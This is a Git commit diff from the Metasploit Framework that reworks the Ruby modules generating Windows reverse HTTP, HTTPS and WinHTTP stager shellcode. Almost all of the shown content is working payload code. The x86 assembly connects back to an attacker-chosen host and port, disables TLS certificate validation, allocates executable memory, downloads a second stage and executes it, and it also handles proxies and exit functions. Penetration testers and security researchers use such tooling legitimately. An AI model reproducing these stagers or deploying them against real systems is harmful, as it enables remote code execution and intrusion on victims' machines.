Land #5328: reworked x64 http/https stagers
commit
9ce669f878
|
@ -21,13 +21,13 @@ module Payload::Windows::Exitfunk
|
|||
|
||||
when 'seh'
|
||||
asm << %Q^
|
||||
mov ebx, #{"0x%.8x" % Msf::Payload::Windows.exit_types['seh']}
|
||||
push.i8 0 ; push the exit function parameter
|
||||
push ebx ; push the hash of the exit function
|
||||
call ebp ; SetUnhandledExceptionFilter(0)
|
||||
push.i8 0
|
||||
ret ; Return to NULL (crash)
|
||||
^
|
||||
mov ebx, 0x#{Msf::Payload::Windows.exit_types['seh'].to_s(16)}
|
||||
push.i8 0 ; push the exit function parameter
|
||||
push ebx ; push the hash of the exit function
|
||||
call ebp ; SetUnhandledExceptionFilter(0)
|
||||
push.i8 0
|
||||
ret ; Return to NULL (crash)
|
||||
^
|
||||
|
||||
# On Windows Vista, Server 2008, and newer, it is not possible to call ExitThread
|
||||
# on WoW64 processes, instead we need to call RtlExitUserThread. This stub will
|
||||
|
@ -35,36 +35,36 @@ module Payload::Windows::Exitfunk
|
|||
|
||||
when 'thread'
|
||||
asm << %Q^
|
||||
mov ebx, #{"0x%.8x" % Msf::Payload::Windows.exit_types['thread']}
|
||||
push 0x9DBD95A6 ; hash( "kernel32.dll", "GetVersion" )
|
||||
call ebp ; GetVersion(); (AL will = major version and AH will = minor version)
|
||||
cmp al, 6 ; If we are not running on Windows Vista, 2008 or 7
|
||||
jl exitfunk_goodbye ; Then just call the exit function...
|
||||
cmp bl, 0xE0 ; If we are trying a call to kernel32.dll!ExitThread on Windows Vista, 2008 or 7...
|
||||
jne exitfunk_goodbye ;
|
||||
mov ebx, 0x6F721347 ; Then we substitute the EXITFUNK to that of ntdll.dll!RtlExitUserThread
|
||||
exitfunk_goodbye: ; We now perform the actual call to the exit function
|
||||
push.i8 0 ; push the exit function parameter
|
||||
push ebx ; push the hash of the exit function
|
||||
call ebp ; call ExitThread(0) || RtlExitUserThread(0)
|
||||
^
|
||||
mov ebx, 0x#{Msf::Payload::Windows.exit_types['thread'].to_s(16)}
|
||||
push 0x9DBD95A6 ; hash( "kernel32.dll", "GetVersion" )
|
||||
call ebp ; GetVersion(); (AL will = major version and AH will = minor version)
|
||||
cmp al, 6 ; If we are not running on Windows Vista, 2008 or 7
|
||||
jl exitfunk_goodbye ; Then just call the exit function...
|
||||
cmp bl, 0xE0 ; If we are trying a call to kernel32.dll!ExitThread on Windows Vista, 2008 or 7...
|
||||
jne exitfunk_goodbye ;
|
||||
mov ebx, 0x6F721347 ; Then we substitute the EXITFUNK to that of ntdll.dll!RtlExitUserThread
|
||||
exitfunk_goodbye: ; We now perform the actual call to the exit function
|
||||
push.i8 0 ; push the exit function parameter
|
||||
push ebx ; push the hash of the exit function
|
||||
call ebp ; call ExitThread(0) || RtlExitUserThread(0)
|
||||
^
|
||||
|
||||
when 'process', nil
|
||||
asm << %Q^
|
||||
mov ebx, #{"0x%.8x" % Msf::Payload::Windows.exit_types['process']}
|
||||
push.i8 0 ; push the exit function parameter
|
||||
push ebx ; push the hash of the exit function
|
||||
call ebp ; ExitProcess(0)
|
||||
^
|
||||
mov ebx, 0x#{Msf::Payload::Windows.exit_types['process'].to_s(16)}
|
||||
push.i8 0 ; push the exit function parameter
|
||||
push ebx ; push the hash of the exit function
|
||||
call ebp ; ExitProcess(0)
|
||||
^
|
||||
|
||||
when 'sleep'
|
||||
asm << %Q^
|
||||
mov ebx, #{"0x%.8x" % Rex::Text.ror13_hash('Sleep')}
|
||||
push 300000 ; 300 seconds
|
||||
push ebx ; push the hash of the function
|
||||
call ebp ; Sleep(300000)
|
||||
jmp exitfunk ; repeat
|
||||
^
|
||||
mov ebx, #{Rex::Text.block_api_hash('kernel32.dll', 'Sleep')}
|
||||
push 300000 ; 300 seconds
|
||||
push ebx ; push the hash of the function
|
||||
call ebp ; Sleep(300000)
|
||||
jmp exitfunk ; repeat
|
||||
^
|
||||
else
|
||||
# Do nothing and continue after the end of the shellcode
|
||||
end
|
||||
|
|
|
@ -8,14 +8,12 @@ require 'msf/core/payload/uuid_options'
|
|||
|
||||
module Msf
|
||||
|
||||
|
||||
###
|
||||
#
|
||||
# Complex payload generation for Windows ARCH_X86 that speak HTTP(S)
|
||||
#
|
||||
###
|
||||
|
||||
|
||||
module Payload::Windows::ReverseHttp
|
||||
|
||||
include Msf::Payload::TransportConfig
|
||||
|
@ -29,8 +27,7 @@ module Payload::Windows::ReverseHttp
|
|||
#
|
||||
def initialize(*args)
|
||||
super
|
||||
register_advanced_options(
|
||||
[
|
||||
register_advanced_options([
|
||||
OptInt.new('StagerURILength', [false, 'The URI length for the stager (at least 5 bytes)']),
|
||||
OptInt.new('StagerRetryCount', [false, 'The number of times the stager should retry if the first connect fails', 10]),
|
||||
OptString.new('PayloadProxyHost', [false, 'An optional proxy server IP address or hostname']),
|
||||
|
@ -44,31 +41,27 @@ module Payload::Windows::ReverseHttp
|
|||
#
|
||||
# Generate the first stage
|
||||
#
|
||||
def generate
|
||||
# Generate the simple version of this stager if we don't have enough space
|
||||
if self.available_space.nil? || required_space > self.available_space
|
||||
return generate_reverse_http(
|
||||
ssl: false,
|
||||
host: datastore['LHOST'],
|
||||
port: datastore['LPORT'],
|
||||
url: generate_small_uri,
|
||||
retry_count: datastore['StagerRetryCount'])
|
||||
end
|
||||
|
||||
def generate(opts={})
|
||||
conf = {
|
||||
ssl: false,
|
||||
host: datastore['LHOST'],
|
||||
port: datastore['LPORT'],
|
||||
url: generate_uri,
|
||||
exitfunk: datastore['EXITFUNC'],
|
||||
proxy_host: datastore['PayloadProxyHost'],
|
||||
proxy_port: datastore['PayloadProxyPort'],
|
||||
proxy_user: datastore['PayloadProxyUser'],
|
||||
proxy_pass: datastore['PayloadProxyPass'],
|
||||
proxy_type: datastore['PayloadProxyType'],
|
||||
ssl: opts[:ssl] || false,
|
||||
host: datastore['LHOST'],
|
||||
port: datastore['LPORT'],
|
||||
url: generate_small_uri,
|
||||
retry_count: datastore['StagerRetryCount']
|
||||
}
|
||||
|
||||
# Add extra options if we have enough space
|
||||
unless self.available_space.nil? || required_space > self.available_space
|
||||
conf[:url] = generate_uri
|
||||
conf[:exitfunk] = datastore['EXITFUNC']
|
||||
conf[:proxy_host] = datastore['PayloadProxyHost']
|
||||
conf[:proxy_port] = datastore['PayloadProxyPort']
|
||||
conf[:proxy_user] = datastore['PayloadProxyUser']
|
||||
conf[:proxy_pass] = datastore['PayloadProxyPass']
|
||||
conf[:proxy_type] = datastore['PayloadProxyType']
|
||||
conf[:retry_count] = datastore['StagerRetryCount']
|
||||
end
|
||||
|
||||
generate_reverse_http(conf)
|
||||
end
|
||||
|
||||
|
@ -181,24 +174,32 @@ module Payload::Windows::ReverseHttp
|
|||
proxy_pass = opts[:proxy_pass].to_s.length == 0 ? nil : opts[:proxy_pass]
|
||||
|
||||
http_open_flags = 0
|
||||
secure_flags = 0
|
||||
|
||||
if opts[:ssl]
|
||||
#;0x80000000 | ; INTERNET_FLAG_RELOAD
|
||||
#;0x04000000 | ; INTERNET_NO_CACHE_WRITE
|
||||
#;0x00400000 | ; INTERNET_FLAG_KEEP_CONNECTION
|
||||
#;0x00200000 | ; INTERNET_FLAG_NO_AUTO_REDIRECT
|
||||
#;0x00000200 | ; INTERNET_FLAG_NO_UI
|
||||
#;0x00800000 | ; INTERNET_FLAG_SECURE
|
||||
#;0x00002000 | ; INTERNET_FLAG_IGNORE_CERT_DATE_INVALID
|
||||
#;0x00001000 ; INTERNET_FLAG_IGNORE_CERT_CN_INVALID
|
||||
http_open_flags = ( 0x80000000 | 0x04000000 | 0x00400000 | 0x00200000 | 0x00000200 | 0x00800000 | 0x00002000 | 0x00001000 )
|
||||
http_open_flags = (
|
||||
0x80000000 | # INTERNET_FLAG_RELOAD
|
||||
0x04000000 | # INTERNET_NO_CACHE_WRITE
|
||||
0x00400000 | # INTERNET_FLAG_KEEP_CONNECTION
|
||||
0x00200000 | # INTERNET_FLAG_NO_AUTO_REDIRECT
|
||||
0x00000200 | # INTERNET_FLAG_NO_UI
|
||||
0x00800000 | # INTERNET_FLAG_SECURE
|
||||
0x00002000 | # INTERNET_FLAG_IGNORE_CERT_DATE_INVALID
|
||||
0x00001000 ) # INTERNET_FLAG_IGNORE_CERT_CN_INVALID
|
||||
|
||||
secure_flags = (
|
||||
0x00002000 | # SECURITY_FLAG_IGNORE_CERT_DATE_INVALID
|
||||
0x00001000 | # SECURITY_FLAG_IGNORE_CERT_CN_INVALID
|
||||
0x00000200 | # SECURITY_FLAG_IGNORE_WRONG_USAGE
|
||||
0x00000100 | # SECURITY_FLAG_IGNORE_UNKNOWN_CA
|
||||
0x00000080 ) # SECURITY_FLAG_IGNORE_REVOCATION
|
||||
else
|
||||
#;0x80000000 | ; INTERNET_FLAG_RELOAD
|
||||
#;0x04000000 | ; INTERNET_NO_CACHE_WRITE
|
||||
#;0x00400000 | ; INTERNET_FLAG_KEEP_CONNECTION
|
||||
#;0x00200000 | ; INTERNET_FLAG_NO_AUTO_REDIRECT
|
||||
#;0x00000200 ; INTERNET_FLAG_NO_UI
|
||||
http_open_flags = ( 0x80000000 | 0x04000000 | 0x00400000 | 0x00200000 | 0x00000200 )
|
||||
http_open_flags = (
|
||||
0x80000000 | # INTERNET_FLAG_RELOAD
|
||||
0x04000000 | # INTERNET_NO_CACHE_WRITE
|
||||
0x00400000 | # INTERNET_FLAG_KEEP_CONNECTION
|
||||
0x00200000 | # INTERNET_FLAG_NO_AUTO_REDIRECT
|
||||
0x00000200 ) # INTERNET_FLAG_NO_UI
|
||||
end
|
||||
|
||||
asm = %Q^
|
||||
|
@ -220,29 +221,29 @@ module Payload::Windows::ReverseHttp
|
|||
|
||||
if proxy_enabled
|
||||
asm << %Q^
|
||||
internetopen:
|
||||
push ebx ; DWORD dwFlags
|
||||
push esp ; LPCTSTR lpszProxyBypass ("" = empty string)
|
||||
call get_proxy_server
|
||||
db "#{proxy_info}", 0x00
|
||||
get_proxy_server:
|
||||
; LPCTSTR lpszProxyName (via call)
|
||||
push 3 ; DWORD dwAccessType (INTERNET_OPEN_TYPE_PROXY = 3)
|
||||
push ebx ; LPCTSTR lpszAgent (NULL)
|
||||
push 0xA779563A ; hash( "wininet.dll", "InternetOpenA" )
|
||||
call ebp
|
||||
^
|
||||
internetopen:
|
||||
push ebx ; DWORD dwFlags
|
||||
push esp ; LPCTSTR lpszProxyBypass ("" = empty string)
|
||||
call get_proxy_server
|
||||
db "#{proxy_info}", 0x00
|
||||
get_proxy_server:
|
||||
; LPCTSTR lpszProxyName (via call)
|
||||
push 3 ; DWORD dwAccessType (INTERNET_OPEN_TYPE_PROXY = 3)
|
||||
push ebx ; LPCTSTR lpszAgent (NULL)
|
||||
push 0xA779563A ; hash( "wininet.dll", "InternetOpenA" )
|
||||
call ebp
|
||||
^
|
||||
else
|
||||
asm << %Q^
|
||||
internetopen:
|
||||
push ebx ; DWORD dwFlags
|
||||
push ebx ; LPCTSTR lpszProxyBypass (NULL)
|
||||
push ebx ; LPCTSTR lpszProxyName (NULL)
|
||||
push ebx ; DWORD dwAccessType (PRECONFIG = 0)
|
||||
push ebx ; LPCTSTR lpszAgent (NULL)
|
||||
push 0xA779563A ; hash( "wininet.dll", "InternetOpenA" )
|
||||
call ebp
|
||||
^
|
||||
internetopen:
|
||||
push ebx ; DWORD dwFlags
|
||||
push ebx ; LPCTSTR lpszProxyBypass (NULL)
|
||||
push ebx ; LPCTSTR lpszProxyName (NULL)
|
||||
push ebx ; DWORD dwAccessType (PRECONFIG = 0)
|
||||
push ebx ; LPCTSTR lpszAgent (NULL)
|
||||
push 0xA779563A ; hash( "wininet.dll", "InternetOpenA" )
|
||||
call ebp
|
||||
^
|
||||
end
|
||||
|
||||
asm << %Q^
|
||||
|
@ -268,34 +269,34 @@ module Payload::Windows::ReverseHttp
|
|||
|
||||
if proxy_enabled && proxy_user
|
||||
asm << %Q^
|
||||
; DWORD dwBufferLength (length of username)
|
||||
push #{proxy_user.length}
|
||||
call set_proxy_username
|
||||
proxy_username:
|
||||
db "#{proxy_user}",0x00
|
||||
set_proxy_username:
|
||||
; LPVOID lpBuffer (username from previous call)
|
||||
push 43 ; DWORD dwOption (INTERNET_OPTION_PROXY_USERNAME)
|
||||
push esi ; hConnection
|
||||
push 0x869E4675 ; hash( "wininet.dll", "InternetSetOptionA" )
|
||||
call ebp
|
||||
^
|
||||
; DWORD dwBufferLength (length of username)
|
||||
push #{proxy_user.length}
|
||||
call set_proxy_username
|
||||
proxy_username:
|
||||
db "#{proxy_user}",0x00
|
||||
set_proxy_username:
|
||||
; LPVOID lpBuffer (username from previous call)
|
||||
push 43 ; DWORD dwOption (INTERNET_OPTION_PROXY_USERNAME)
|
||||
push esi ; hConnection
|
||||
push 0x869E4675 ; hash( "wininet.dll", "InternetSetOptionA" )
|
||||
call ebp
|
||||
^
|
||||
end
|
||||
|
||||
if proxy_enabled && proxy_pass
|
||||
asm << %Q^
|
||||
; DWORD dwBufferLength (length of password)
|
||||
push #{proxy_pass.length}
|
||||
call set_proxy_password
|
||||
proxy_password:
|
||||
db "#{proxy_pass}",0x00
|
||||
set_proxy_password:
|
||||
; LPVOID lpBuffer (password from previous call)
|
||||
push 44 ; DWORD dwOption (INTERNET_OPTION_PROXY_PASSWORD)
|
||||
push esi ; hConnection
|
||||
push 0x869E4675 ; hash( "wininet.dll", "InternetSetOptionA" )
|
||||
call ebp
|
||||
^
|
||||
; DWORD dwBufferLength (length of password)
|
||||
push #{proxy_pass.length}
|
||||
call set_proxy_password
|
||||
proxy_password:
|
||||
db "#{proxy_pass}",0x00
|
||||
set_proxy_password:
|
||||
; LPVOID lpBuffer (password from previous call)
|
||||
push 44 ; DWORD dwOption (INTERNET_OPTION_PROXY_PASSWORD)
|
||||
push esi ; hConnection
|
||||
push 0x869E4675 ; hash( "wininet.dll", "InternetSetOptionA" )
|
||||
call ebp
|
||||
^
|
||||
end
|
||||
|
||||
asm << %Q^
|
||||
|
@ -318,26 +319,21 @@ module Payload::Windows::ReverseHttp
|
|||
pop edi
|
||||
|
||||
send_request:
|
||||
^
|
||||
^
|
||||
|
||||
if opts[:ssl]
|
||||
asm << %Q^
|
||||
; InternetSetOption (hReq, INTERNET_OPTION_SECURITY_FLAGS, &dwFlags, sizeof (dwFlags) );
|
||||
set_security_options:
|
||||
push 0x00003380
|
||||
;0x00002000 | ; SECURITY_FLAG_IGNORE_CERT_DATE_INVALID
|
||||
;0x00001000 | ; SECURITY_FLAG_IGNORE_CERT_CN_INVALID
|
||||
;0x00000200 | ; SECURITY_FLAG_IGNORE_WRONG_USAGE
|
||||
;0x00000100 | ; SECURITY_FLAG_IGNORE_UNKNOWN_CA
|
||||
;0x00000080 ; SECURITY_FLAG_IGNORE_REVOCATION
|
||||
mov eax, esp
|
||||
push 4 ; sizeof(dwFlags)
|
||||
push eax ; &dwFlags
|
||||
push 31 ; DWORD dwOption (INTERNET_OPTION_SECURITY_FLAGS)
|
||||
push esi ; hHttpRequest
|
||||
push 0x869E4675 ; hash( "wininet.dll", "InternetSetOptionA" )
|
||||
call ebp
|
||||
^
|
||||
; InternetSetOption (hReq, INTERNET_OPTION_SECURITY_FLAGS, &dwFlags, sizeof (dwFlags) );
|
||||
set_security_options:
|
||||
push 0x#{secure_flags.to_s(16)}
|
||||
mov eax, esp
|
||||
push 4 ; sizeof(dwFlags)
|
||||
push eax ; &dwFlags
|
||||
push 31 ; DWORD dwOption (INTERNET_OPTION_SECURITY_FLAGS)
|
||||
push esi ; hHttpRequest
|
||||
push 0x869E4675 ; hash( "wininet.dll", "InternetSetOptionA" )
|
||||
call ebp
|
||||
^
|
||||
end
|
||||
|
||||
asm << %Q^
|
||||
|
@ -357,68 +353,69 @@ module Payload::Windows::ReverseHttp
|
|||
jnz send_request
|
||||
|
||||
; if we didn't allocate before running out of retries, bail out
|
||||
^
|
||||
|
||||
if opts[:exitfunk]
|
||||
asm << %Q^
|
||||
failure:
|
||||
call exitfunk
|
||||
^
|
||||
else
|
||||
asm << %Q^
|
||||
failure:
|
||||
push 0x56A2B5F0 ; hardcoded to exitprocess for size
|
||||
call ebp
|
||||
^
|
||||
end
|
||||
^
|
||||
|
||||
if opts[:exitfunk]
|
||||
asm << %Q^
|
||||
allocate_memory:
|
||||
push 0x40 ; PAGE_EXECUTE_READWRITE
|
||||
push 0x1000 ; MEM_COMMIT
|
||||
push 0x00400000 ; Stage allocation (4Mb ought to do us)
|
||||
push ebx ; NULL as we dont care where the allocation is
|
||||
push 0xE553A458 ; hash( "kernel32.dll", "VirtualAlloc" )
|
||||
call ebp ; VirtualAlloc( NULL, dwLength, MEM_COMMIT, PAGE_EXECUTE_READWRITE );
|
||||
failure:
|
||||
call exitfunk
|
||||
^
|
||||
else
|
||||
asm << %Q^
|
||||
failure:
|
||||
push 0x56A2B5F0 ; hardcoded to exitprocess for size
|
||||
call ebp
|
||||
^
|
||||
end
|
||||
|
||||
download_prep:
|
||||
xchg eax, ebx ; place the allocated base address in ebx
|
||||
push ebx ; store a copy of the stage base address on the stack
|
||||
push ebx ; temporary storage for bytes read count
|
||||
mov edi, esp ; &bytesRead
|
||||
asm << %Q^
|
||||
allocate_memory:
|
||||
push 0x40 ; PAGE_EXECUTE_READWRITE
|
||||
push 0x1000 ; MEM_COMMIT
|
||||
push 0x00400000 ; Stage allocation (4Mb ought to do us)
|
||||
push ebx ; NULL as we dont care where the allocation is
|
||||
push 0xE553A458 ; hash( "kernel32.dll", "VirtualAlloc" )
|
||||
call ebp ; VirtualAlloc( NULL, dwLength, MEM_COMMIT, PAGE_EXECUTE_READWRITE );
|
||||
|
||||
download_more:
|
||||
push edi ; &bytesRead
|
||||
push 8192 ; read length
|
||||
push ebx ; buffer
|
||||
push esi ; hRequest
|
||||
push 0xE2899612 ; hash( "wininet.dll", "InternetReadFile" )
|
||||
call ebp
|
||||
download_prep:
|
||||
xchg eax, ebx ; place the allocated base address in ebx
|
||||
push ebx ; store a copy of the stage base address on the stack
|
||||
push ebx ; temporary storage for bytes read count
|
||||
mov edi, esp ; &bytesRead
|
||||
|
||||
test eax,eax ; download failed? (optional?)
|
||||
jz failure
|
||||
download_more:
|
||||
push edi ; &bytesRead
|
||||
push 8192 ; read length
|
||||
push ebx ; buffer
|
||||
push esi ; hRequest
|
||||
push 0xE2899612 ; hash( "wininet.dll", "InternetReadFile" )
|
||||
call ebp
|
||||
|
||||
mov eax, [edi]
|
||||
add ebx, eax ; buffer += bytes_received
|
||||
test eax,eax ; download failed? (optional?)
|
||||
jz failure
|
||||
|
||||
test eax,eax ; optional?
|
||||
jnz download_more ; continue until it returns 0
|
||||
pop eax ; clear the temporary storage
|
||||
mov eax, [edi]
|
||||
add ebx, eax ; buffer += bytes_received
|
||||
|
||||
execute_stage:
|
||||
ret ; dive into the stored stage address
|
||||
test eax,eax ; optional?
|
||||
jnz download_more ; continue until it returns 0
|
||||
pop eax ; clear the temporary storage
|
||||
|
||||
got_server_uri:
|
||||
pop edi
|
||||
call got_server_host
|
||||
execute_stage:
|
||||
ret ; dive into the stored stage address
|
||||
|
||||
server_host:
|
||||
db "#{opts[:host]}", 0x00
|
||||
^
|
||||
got_server_uri:
|
||||
pop edi
|
||||
call got_server_host
|
||||
|
||||
server_host:
|
||||
db "#{opts[:host]}", 0x00
|
||||
^
|
||||
|
||||
if opts[:exitfunk]
|
||||
asm << asm_exitfunk(opts)
|
||||
end
|
||||
|
||||
if opts[:exitfunk]
|
||||
asm << asm_exitfunk(opts)
|
||||
end
|
||||
asm
|
||||
end
|
||||
|
||||
|
@ -436,7 +433,6 @@ module Payload::Windows::ReverseHttp
|
|||
20
|
||||
end
|
||||
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
|
|
|
@ -6,64 +6,22 @@ require 'msf/core/payload/windows/reverse_http'
|
|||
|
||||
module Msf
|
||||
|
||||
|
||||
###
|
||||
#
|
||||
# Complex payload generation for Windows ARCH_X86 that speak HTTPS
|
||||
#
|
||||
###
|
||||
|
||||
|
||||
module Payload::Windows::ReverseHttps
|
||||
|
||||
include Msf::Payload::TransportConfig
|
||||
include Msf::Payload::Windows::ReverseHttp
|
||||
|
||||
#
|
||||
# Generate and compile the stager
|
||||
#
|
||||
def generate_reverse_https(opts={})
|
||||
combined_asm = %Q^
|
||||
cld ; Clear the direction flag.
|
||||
call start ; Call start, this pushes the address of 'api_call' onto the stack.
|
||||
#{asm_block_api}
|
||||
start:
|
||||
pop ebp
|
||||
#{asm_reverse_http(opts)}
|
||||
^
|
||||
Metasm::Shellcode.assemble(Metasm::X86.new, combined_asm).encode_string
|
||||
end
|
||||
|
||||
#
|
||||
# Generate the first stage
|
||||
#
|
||||
def generate
|
||||
|
||||
# Generate the simple version of this stager if we don't have enough space
|
||||
if self.available_space.nil? || required_space > self.available_space
|
||||
return generate_reverse_https(
|
||||
ssl: true,
|
||||
host: datastore['LHOST'],
|
||||
port: datastore['LPORT'],
|
||||
url: generate_small_uri,
|
||||
retry_count: datastore['StagerRetryCount'])
|
||||
end
|
||||
|
||||
conf = {
|
||||
ssl: true,
|
||||
host: datastore['LHOST'],
|
||||
port: datastore['LPORT'],
|
||||
url: generate_uri,
|
||||
exitfunk: datastore['EXITFUNC'],
|
||||
proxy_host: datastore['PayloadProxyHost'],
|
||||
proxy_port: datastore['PayloadProxyPort'],
|
||||
proxy_user: datastore['PayloadProxyUser'],
|
||||
proxy_pass: datastore['PayloadProxyPass'],
|
||||
proxy_type: datastore['PayloadProxyType'],
|
||||
retry_count: datastore['StagerRetryCount']
|
||||
}
|
||||
|
||||
generate_reverse_https(conf)
|
||||
super(ssl: true)
|
||||
end
|
||||
|
||||
#
|
||||
|
|
|
@ -8,14 +8,12 @@ require 'msf/core/payload/windows/reverse_http'
|
|||
|
||||
module Msf
|
||||
|
||||
|
||||
###
|
||||
#
|
||||
# Complex payload generation for Windows ARCH_X86 that speak HTTP(S) using WinHTTP
|
||||
#
|
||||
###
|
||||
|
||||
|
||||
module Payload::Windows::ReverseWinHttp
|
||||
|
||||
include Msf::Payload::TransportConfig
|
||||
|
@ -24,32 +22,35 @@ module Payload::Windows::ReverseWinHttp
|
|||
#
|
||||
# Generate the first stage
|
||||
#
|
||||
def generate
|
||||
# Generate the simple version of this stager if we don't have enough space
|
||||
if self.available_space.nil? || required_space > self.available_space
|
||||
return generate_reverse_winhttp(
|
||||
ssl: false,
|
||||
host: datastore['LHOST'],
|
||||
port: datastore['LPORT'],
|
||||
url: generate_small_uri,
|
||||
retry_count: datastore['StagerRetryCount'])
|
||||
end
|
||||
|
||||
def generate(opts={})
|
||||
conf = {
|
||||
ssl: false,
|
||||
host: datastore['LHOST'],
|
||||
port: datastore['LPORT'],
|
||||
url: generate_uri,
|
||||
exitfunk: datastore['EXITFUNC'],
|
||||
ssl: opts[:ssl] || false,
|
||||
host: datastore['LHOST'],
|
||||
port: datastore['LPORT'],
|
||||
url: generate_small_uri,
|
||||
retry_count: datastore['StagerRetryCount']
|
||||
}
|
||||
|
||||
# Add extra options if we have enough space
|
||||
unless self.available_space.nil? || required_space > self.available_space
|
||||
conf[:url] = generate_uri
|
||||
conf[:exitfunk] = datastore['EXITFUNC']
|
||||
conf[:verify_cert_hash] = opts[:verify_cert_hash]
|
||||
conf[:proxy_host] = datastore['PayloadProxyHost']
|
||||
conf[:proxy_port] = datastore['PayloadProxyPort']
|
||||
conf[:proxy_user] = datastore['PayloadProxyUser']
|
||||
conf[:proxy_pass] = datastore['PayloadProxyPass']
|
||||
conf[:proxy_type] = datastore['PayloadProxyType']
|
||||
conf[:retry_count] = datastore['StagerRetryCount']
|
||||
end
|
||||
|
||||
generate_reverse_winhttp(conf)
|
||||
end
|
||||
|
||||
def transport_config(opts={})
|
||||
transport_config_reverse_http(opts)
|
||||
end
|
||||
|
||||
#
|
||||
# Generate and compile the stager
|
||||
#
|
||||
|
@ -75,8 +76,11 @@ module Payload::Windows::ReverseWinHttp
|
|||
# Add 100 bytes for the encoder to have some room
|
||||
space += 100
|
||||
|
||||
# Make room for the maximum possible URL length
|
||||
space += 256
|
||||
# Make room for the maximum possible URL length (wchars)
|
||||
space += 512 * 2
|
||||
|
||||
# proxy (wchars)
|
||||
space += 128 * 2
|
||||
|
||||
# EXITFUNK processing adds 31 bytes at most (for ExitThread, only ~16 for others)
|
||||
space += 31
|
||||
|
@ -85,12 +89,11 @@ module Payload::Windows::ReverseWinHttp
|
|||
space
|
||||
end
|
||||
|
||||
|
||||
#
|
||||
# Convert a string into a NULL-terminated wchar byte array
|
||||
#
|
||||
def asm_generate_wchar_array(str)
|
||||
( str.to_s + "\x00" ).
|
||||
(str.to_s + "\x00").
|
||||
unpack("C*").
|
||||
pack("v*").
|
||||
unpack("C*").
|
||||
|
@ -98,7 +101,6 @@ module Payload::Windows::ReverseWinHttp
|
|||
join(",")
|
||||
end
|
||||
|
||||
|
||||
#
|
||||
# Generate an assembly stub with the configured feature set and options.
|
||||
#
|
||||
|
@ -123,16 +125,43 @@ module Payload::Windows::ReverseWinHttp
|
|||
encoded_cert_hash = opts[:verify_cert_hash].unpack("C*").map{|c| "0x%.2x" % c }.join(",")
|
||||
end
|
||||
|
||||
proxy_enabled = !!(opts[:proxy_host].to_s.strip.length > 0)
|
||||
proxy_info = ""
|
||||
|
||||
if proxy_enabled
|
||||
if opts[:proxy_type].to_s.downcase == "socks"
|
||||
proxy_info << "socks="
|
||||
else
|
||||
proxy_info << "http://"
|
||||
end
|
||||
|
||||
proxy_info << opts[:proxy_host].to_s
|
||||
if opts[:proxy_port].to_i > 0
|
||||
proxy_info << ":#{opts[:proxy_port]}"
|
||||
end
|
||||
|
||||
proxy_info = asm_generate_wchar_array(proxy_info)
|
||||
end
|
||||
|
||||
proxy_user = opts[:proxy_user].to_s.length == 0 ? nil : asm_generate_wchar_array(opts[:proxy_user])
|
||||
proxy_pass = opts[:proxy_pass].to_s.length == 0 ? nil : asm_generate_wchar_array(opts[:proxy_pass])
|
||||
|
||||
http_open_flags = 0
|
||||
secure_flags = 0
|
||||
|
||||
if opts[:ssl]
|
||||
# ;0x00800000 ; WINHTTP_FLAG_SECURE
|
||||
# ;0x00000100 ; WINHTTP_FLAG_BYPASS_PROXY_CACHE
|
||||
http_open_flags = (0x00800000 | 0x00000100)
|
||||
http_open_flags = (
|
||||
0x00800000 | # WINHTTP_FLAG_SECURE
|
||||
0x00000100 ) # WINHTTP_FLAG_BYPASS_PROXY_CACHE
|
||||
|
||||
secure_flags = (
|
||||
0x00002000 | # SECURITY_FLAG_IGNORE_CERT_DATE_INVALID
|
||||
0x00001000 | # SECURITY_FLAG_IGNORE_CERT_CN_INVALID
|
||||
0x00000200 | # SECURITY_FLAG_IGNORE_WRONG_USAGE
|
||||
0x00000100 ) # SECURITY_FLAG_IGNORE_UNKNOWN_CA
|
||||
else
|
||||
# ;0x00000100 ; WINHTTP_FLAG_BYPASS_PROXY_CACHE
|
||||
http_open_flags = 0x00000100
|
||||
http_open_flags = (
|
||||
0x00000100 ) # WINHTTP_FLAG_BYPASS_PROXY_CACHE
|
||||
end
|
||||
|
||||
asm = %Q^
|
||||
|
@ -143,34 +172,53 @@ module Payload::Windows::ReverseWinHttp
|
|||
push 0x00707474 ; Push the string 'winhttp',0
|
||||
push 0x686E6977 ; ...
|
||||
push esp ; Push a pointer to the "winhttp" string
|
||||
push 0x0726774C ; hash( "kernel32.dll", "LoadLibraryA" )
|
||||
push #{Rex::Text.block_api_hash('kernel32.dll', 'LoadLibraryA')}
|
||||
call ebp ; LoadLibraryA( "winhttp" )
|
||||
^
|
||||
|
||||
if verify_ssl
|
||||
asm << %Q^
|
||||
load_crypt32:
|
||||
push 0x00323374 ; Push the string 'crypt32',0
|
||||
push 0x70797263 ; ...
|
||||
push esp ; Push a pointer to the "crypt32" string
|
||||
push 0x0726774C ; hash( "kernel32.dll", "LoadLibraryA" )
|
||||
call ebp ; LoadLibraryA( "wincrypt" )
|
||||
^
|
||||
load_crypt32:
|
||||
push 0x00323374 ; Push the string 'crypt32',0
|
||||
push 0x70797263 ; ...
|
||||
push esp ; Push a pointer to the "crypt32" string
|
||||
push #{Rex::Text.block_api_hash('kernel32.dll', 'LoadLibraryA')}
|
||||
call ebp ; LoadLibraryA( "wincrypt" )
|
||||
^
|
||||
end
|
||||
|
||||
asm << %Q^
|
||||
|
||||
xor ebx, ebx
|
||||
xor ebx, ebx
|
||||
|
||||
WinHttpOpen:
|
||||
^
|
||||
|
||||
if proxy_enabled
|
||||
asm << %Q^
|
||||
push ebx ; Flags
|
||||
push esp ; ProxyBypass ("")
|
||||
call get_proxy_server
|
||||
db #{proxy_info}
|
||||
get_proxy_server:
|
||||
; ProxyName (via call)
|
||||
push 3 ; AccessType (NAMED_PROXY= 3)
|
||||
push ebx ; UserAgent (NULL) [1]
|
||||
push #{Rex::Text.block_api_hash('winhttp.dll', 'WinHttpOpen')}
|
||||
call ebp
|
||||
^
|
||||
else
|
||||
asm << %Q^
|
||||
push ebx ; Flags
|
||||
push ebx ; ProxyBypass (NULL)
|
||||
push ebx ; ProxyName (NULL)
|
||||
push ebx ; AccessType (DEFAULT_PROXY= 0)
|
||||
push ebx ; UserAgent (NULL) [1]
|
||||
push 0xBB9D1F04 ; hash( "winhttp.dll", "WinHttpOpen" )
|
||||
push #{Rex::Text.block_api_hash('winhttp.dll', 'WinHttpOpen')}
|
||||
call ebp
|
||||
^
|
||||
end
|
||||
|
||||
asm << %Q^
|
||||
WinHttpConnect:
|
||||
push ebx ; Reserved (NULL)
|
||||
push #{opts[:port]} ; Port [3]
|
||||
|
@ -179,40 +227,69 @@ module Payload::Windows::ReverseWinHttp
|
|||
db #{encoded_url}
|
||||
got_server_host:
